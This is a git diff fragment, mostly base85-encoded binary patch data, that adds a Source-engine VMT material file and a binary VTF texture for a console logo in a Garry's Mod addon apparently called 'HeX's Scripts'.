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 literal 0 HcmV?d00001 diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/console/logo_text.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/console/logo_text.vmt new file mode 100644 index 0000000..4bb885d --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/console/logo_text.vmt @@ -0,0 +1,8 @@ +"UnlitGeneric" +{ + "$basetexture" "console/logo_text" + "$vertexcolor" 1 + "$vertexalpha" 1 + "$no_fullbright" 1 + "$ignorez" 1 +} diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/console/logo_text.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/console/logo_text.vtf new file mode 100644 index 0000000000000000000000000000000000000000..e6d7fed05abb0ad07ba6c99d42cb630433e26b33 GIT binary patch literal 1048688 zcmeFa2b^8ib+>I5im3u5I%p&zAq0}>T}T2UdhbXep#nzqVmfFv5{_+*No-;R?&Wpj zo;Udt_r~Ym9rxI=`Qn;p$330zc_w#}&GDT(cV_OrQ?$?X z;o=LIK4+`vJm)#%;aqsm#OI8A&Wz{qpa0oDblia_1pjlUd!hSr+w-4E6XUY~`HKI( z^tP+EzG%XP%Wk-C@z!5|{b$#nb=|bBFWT-M7ag>k&)pxr=$Q-iAQeajQh`(;6-WhA zfm9$BNCi@XR3H^d1yX@jAQeajQh`(;6-WhAfm9$BNCi@XR3H^d1yX@jAQeajQh`(; z6-WhAfm9$BNCi@XR3H^d1yX@jAQeajQh`(;6-WhAfm9$BNCi@XR3H^d1yX@jAQeaj zQh`(;6-WhAfm9$BNCi@XR3H^d1yX@jAQeajQh`(;6-WhAfm9$BNCi@XR3H^d1yX@j zAQeajQh`(;6-WhAfm9$BNCi@XR3H^d1yX@jAQeajQh`(;6-WhAfm9$BNCi@XR3H^d 